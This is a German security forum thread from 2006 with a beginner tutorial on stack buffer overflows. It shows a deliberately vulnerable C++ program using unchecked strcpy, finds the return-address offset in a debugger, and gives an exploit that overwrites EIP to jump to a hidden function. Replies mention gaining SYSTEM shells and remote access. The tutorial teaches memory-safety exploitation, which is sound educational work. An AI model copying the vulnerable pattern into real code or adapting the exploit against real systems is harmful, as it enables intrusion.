Willkommen bei Network & Security     remoteshell-security.com
Partnerseiten
login.php?sid=ebd61808d368df52e879e2d2b1166d9c profile.php?mode=register&sid=ebd61808d368df52e879e2d2b1166d9c faq.php?sid=ebd61808d368df52e879e2d2b1166d9c memberlist.php?sid=ebd61808d368df52e879e2d2b1166d9c search.php?sid=ebd61808d368df52e879e2d2b1166d9c index.php?sid=ebd61808d368df52e879e2d2b1166d9c

Foren-Übersicht » Sicherheitslücken » [Tutorial] Basic Stack Buffer Overflows
Neues Thema eröffnen  Neue Antwort erstellen Vorheriges Thema anzeigen :: Nächstes Thema anzeigen 
[Tutorial] Basic Stack Buffer Overflows
BeitragVerfasst am: 12.12.2006 19:55 Antworten mit Zitat
Rebellion
Anmeldedatum: 04.01.2006
Beiträge: 151
Wohnort: %systemroot%




Moin,

In diesem kurzen Tutorial geht es um die Grundlagen von Stack Overflows.
Da fast alle Buffer Overflow Sources in C geschrieben sind, werde ich es in C++ schreiben (ist aber fast das selbe).

Voraussetzungen die man mitbringen sollte:

- Grundlagen in C/C++ (besonders String-Manipulationen)
- Vllt ein bisschen den Umgang mit Debuggern

Wir werden den EIP[1] mit einer neuen return-Adresse überschreiben.

Zuerst schreiben wir uns kurz eine verwundbare Datei:

Code:
#include <iostream>
#include <string.h>

void text();

int main(int argc, char *argv[])
{
    char buffer[256];
    strcpy(buffer, argv[1]);
    std::cout << buffer;
    return 0;
}

void text()
{
     std::cout << "Can you see me??";
}


Wie man sehen kann, werden wir nachher ein Argument an den 256 Byte Buffer übergeben.

Jetzt öffnen wir erstmal nen Debugger (zB OllyDbg).
Wir müssen erstmal wissen, wieviele Bytes im Speicher geschrieben werden, bevor wir den EIP überschreiben können... dazu versuchen wir jetzt einfach mal 264 Bytes in den Buffer zu schreiben.

Wir nehmen einfach 264 "A"s (ist ne bekannte Methode).

Wenn wir das dann im Debugger starten, sehen wir, dass der jetztige EIP 41 41 41 41 ist.
Es werden also 4 Bytes überschrieben... das heisst es werden genau 260 Bytes im Speicher geschrieben.

Kommen wir zur return-Adresse.
Wir öffnen die Datei nochmal ohne Argumente im Debugger und suchen uns unseren String "Can you see me??".

Das sieht dann ungefähr so aus:
Code:
00401275  |. 68 5A124000    PUSH eins.0040125A                       ;  ASCII "Can you see me??"


Unsere return-Adresse ist also: \x75\x12\x40 (den NULL Byte brauchen wir nicht).

Mit dem Wissen schreiben wir unser Exploit:

Code:
#include <windows.h> // für WinExec()
#include <string.h>
#include <iostream>

int main()
{
    char argument[300] = "C:\\overflow\\app.exe "; // Pfad zur Datei

    char return_adr[] = "\x75\x12\x40"; // unsere return-Adresse

    char overflow[] =  // die 260 Byte

    "AAAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAAAAAA";

    strcat(argument, overflow); // wir fügen den Overflow an unserem Pfad an
    strcat(argument, return_adr); // und anschließend unsere return-Adresse

    WinExec(argument,0);

    cin.peek();

    return 0;
}


Wenn alles so gelaufen ist, wie es sein soll, sieht es so aus:



(c) by Rebellion
Benutzer-Profile anzeigen Private Nachricht senden ICQ-Nummer
BeitragVerfasst am: 17.12.2006 01:50 Antworten mit Zitat
4lx
Anmeldedatum: 02.01.2006
Beiträge: 369
Wohnort: /offtopic




Ich finde das Tut ziemlich toll. Smile
Nur leider kann ich kein C++. Sad

Wäre sowas auch mit anderen Hochsprachen möglich? Das einzige, wo ich mich zu Hause fühle, ist Delphi (Pascal)...


Und noch eine andere Sache:
Was kannst du damit bewirken?
Dass (fast) beliebiger Code in der verwundbare Datei ausgeführt wird?
Und wo kann man sowas praktisch anwenden?
Mir schweben da nur Server vor...

thx

_________________
"Das Staunen ist Anfang der Erkenntnis." -Platon

"Terrorismus ist die Zerstörung von Versorgungseinrichtungen, also Deichen, Wasserwerken, Krankenhäusern, Kraftwerken. Eben alles das, worauf die amerikanischen Bombenangriffe gegen Nordvietnam seit 1965 systematisch abzielten. Der Terrorismus operiert mit der Angst der Massen." - Ulrike Meinhof
Benutzer-Profile anzeigen Private Nachricht senden Jabber ID ICQ-Nummer
BeitragVerfasst am: 17.12.2006 13:14 Antworten mit Zitat
duddits
Anmeldedatum: 03.01.2006
Beiträge: 569
Wohnort: /proc




Hi,

also wie es mit Delphi aussieht weiß ich leider nicht aber bei Java z.B. ist sowas nicht möglich da Java für sowas eine RunTimeException besitzt die solche Zugriffe verhindert.
Weiterhin kümmert sich JVM (JavaVirtuelMachine) um den Speicherzugriff) somit hat der Programmierer damit nichts zu tun.

Was kann man damit machen?

Also wie du schon richtig erkannt hast, ist es damit möglich beliebigen Code ausführen zu lassen je nach dem unter welchen Rechten das Programm läuft.

Beispiel:
Nehmen wir an es wird unter Windows im Prozess lsass.exe ein Bufferoverflow-Lücke gefunden. Da dieser Prozess mit den privilegien System läuft, dies sind die höchsten Rechte die man unter einer Windows-Maschine erhalten kann und schreibt sich jetzt einen Exploit was z.B. mit den rechten von lsass.exe eine Shell (z.B. cmd) öffnet.
Nun hat man z.B. eine Shell offen mit der man alle Rechte hat.

Aber es gibt noch viele andere soclhe Beispiele z.B. sehr beliebt sind solche Dinge wenn man diese Remote ausführen kann und somit zu einem Remote-Rechner unerlaubten Zugriff gelangt.

Wenn ich mich nicht täusche werden solche Char-Codes auch Shellcodes genannt und z.B. Metasploit bietet dafür ein Toolkid mit dem man sschon vorgefrtigte nehmen kann aber ich bin leider noch nciht ngaz dahinter gestiegen^^


Anwendung findet sowas eigentlich im jedne Programm aber Dienste/Daemons sind natürlich viel interessanter z.B. der RPC-Dienst der auf so gut wie jeden Rechner läuft.
Genauso wenn man sich die Lücken für Browser ansieht kommt es auch immemr wieder dazu das solche Lücke gefunden werde.

Achso das Tutorial finde ich übrigens sehr gut gelungen. Hatte bis jetzt immer nur welche über/mit C gelesen.
Obwohl ich kein C++ kann ist doch an diesem Tutorial gut zu erkennen wie ähnlich sich C und C++ sind.

Gruß

daniel

_________________
Quidquid agis, prudenter agas et respice finem!

Jabber ID: duddits@amessage.info
Webseite: http://www.remoteshell-security.com
Weblog: http://blog.remoteshell-security.com
Benutzer-Profile anzeigen Private Nachricht senden E-Mail senden Jabber ID
BeitragVerfasst am: 17.12.2006 14:37 Antworten mit Zitat
Rebellion
Anmeldedatum: 04.01.2006
Beiträge: 151
Wohnort: %systemroot%




Thx für's Feedback Wink

duddits hat damit ja schon alle Fragen geklärt.

Ich könnte mal nen ausführlicheres eBook daraus machen, falls interesse besteht.
Benutzer-Profile anzeigen Private Nachricht senden ICQ-Nummer
BeitragVerfasst am: 17.12.2006 16:22 Antworten mit Zitat
4lx
Anmeldedatum: 02.01.2006
Beiträge: 369
Wohnort: /offtopic




Praktischer Weise hat die Hilfe aus Delphi 7 für den Delphi-Syntax immer gleich noch ein Beispiel in C++-Syntax dabei.
Ich werde also, wenn ich mal wieder ordentlich Zeit habe, probieren mich da durchzufuchsen und zumindest ein verwundbares Programm schreiben, um zu sehen, wie man an solche Sicherheitslücken rankommt.

Und ein eBook würde mich, wenn es nicht zu viele Umstände bereitet, freuen.

(Ich hab jetzt mal ein bisschen in der Hilfe rumgestöbert, es scheint irgendwie schon zu gehen. Wenn ich was habe, dann poste ich es.)

_________________
"Das Staunen ist Anfang der Erkenntnis." -Platon

"Terrorismus ist die Zerstörung von Versorgungseinrichtungen, also Deichen, Wasserwerken, Krankenhäusern, Kraftwerken. Eben alles das, worauf die amerikanischen Bombenangriffe gegen Nordvietnam seit 1965 systematisch abzielten. Der Terrorismus operiert mit der Angst der Massen." - Ulrike Meinhof
Benutzer-Profile anzeigen Private Nachricht senden Jabber ID ICQ-Nummer
BeitragVerfasst am: 17.12.2006 16:47 Antworten mit Zitat
Lukas
Anmeldedatum: 31.12.2005
Beiträge: 257
Wohnort: Wien




Ja ein ebook darüber würde mich auch brennend interessieren.

Lg
Benutzer-Profile anzeigen Private Nachricht senden
BeitragVerfasst am: 19.12.2006 18:14 Antworten mit Zitat
Rebellion
Anmeldedatum: 04.01.2006
Beiträge: 151
Wohnort: %systemroot%




Hm ich hab gerade gesehn, dass ich für das CIB Word-PlugIn ne Lizens brauche, wenn ich das nicht für den privaten Gebrauch verwende... und extra Adobe Acrobat dafür installieren ist auch nicht gerade das Wahre... ich werd das Tutorial dann später sehr wahrscheinlich in HTML schreiben; könnte aber noch etwas dauern.
Benutzer-Profile anzeigen Private Nachricht senden ICQ-Nummer
BeitragVerfasst am: 20.12.2006 18:15 Antworten mit Zitat
4lx
Anmeldedatum: 02.01.2006
Beiträge: 369
Wohnort: /offtopic




Du könntest auch einfach OpenOffice.org (notfalls eben mit LiveCD) nehmen, ich glaube dass da der Export von PDFs auch ohne Lizens erlaubt ist. (Sonst hab ich auch Mist gebaut.)

_________________
"Das Staunen ist Anfang der Erkenntnis." -Platon

"Terrorismus ist die Zerstörung von Versorgungseinrichtungen, also Deichen, Wasserwerken, Krankenhäusern, Kraftwerken. Eben alles das, worauf die amerikanischen Bombenangriffe gegen Nordvietnam seit 1965 systematisch abzielten. Der Terrorismus operiert mit der Angst der Massen." - Ulrike Meinhof
Benutzer-Profile anzeigen Private Nachricht senden Jabber ID ICQ-Nummer
BeitragVerfasst am: 20.12.2006 21:38 Antworten mit Zitat
Phara0h
Anmeldedatum: 31.12.2005
Beiträge: 357
Wohnort: /dev/RL




Dann haben ne menge Leute Mist gebaut^^
Ich hab schon zu lange nicht mehr mit Windows gearbeitet, aber gibts da nicht auch in Office die Funktion "Print to file"?

zum Thema:
Gute Einführung in das Thema, aber auch nicht mehr.
Wäre auch etwas zu komplex das alles zu behandeln....
Desshalb ein dickes THX dafür!

_________________
Benutzer-Profile anzeigen Private Nachricht senden Jabber ID
BeitragVerfasst am: 25.12.2006 20:01 Antworten mit Zitat
Rebellion
Anmeldedatum: 04.01.2006
Beiträge: 151
Wohnort: %systemroot%




Thx für den Tip, hab jetzt OpenOffice.org installiert.
Daran sieht man mal wieder, dass Open-Source alternativen viel bringen...
Benutzer-Profile anzeigen Private Nachricht senden ICQ-Nummer
[Tutorial] Basic Stack Buffer Overflows
Foren-Übersicht » Sicherheitslücken
Du kannst keine Beiträge in dieses Forum schreiben.
Du kannst auf Beiträge in diesem Forum nicht antworten.
Du kannst deine Beiträge in diesem Forum nicht bearbeiten.
Du kannst deine Beiträge in diesem Forum nicht löschen.
Du kannst an Umfragen in diesem Forum nicht mitmachen.
Alle Zeiten sind GMT + 1 Stunde  
Seite 1 von 1  

  
  
 Neues Thema eröffnen  Neue Antwort erstellen  


Forensicherheit

Powered by phpBB © 2001-2004 phpBB Group
phpBB Style by Vjacheslav Trushkin
Deutsche Übersetzung von phpBB.de


remoteshell-security.com | Partner | Boardregeln | Impressum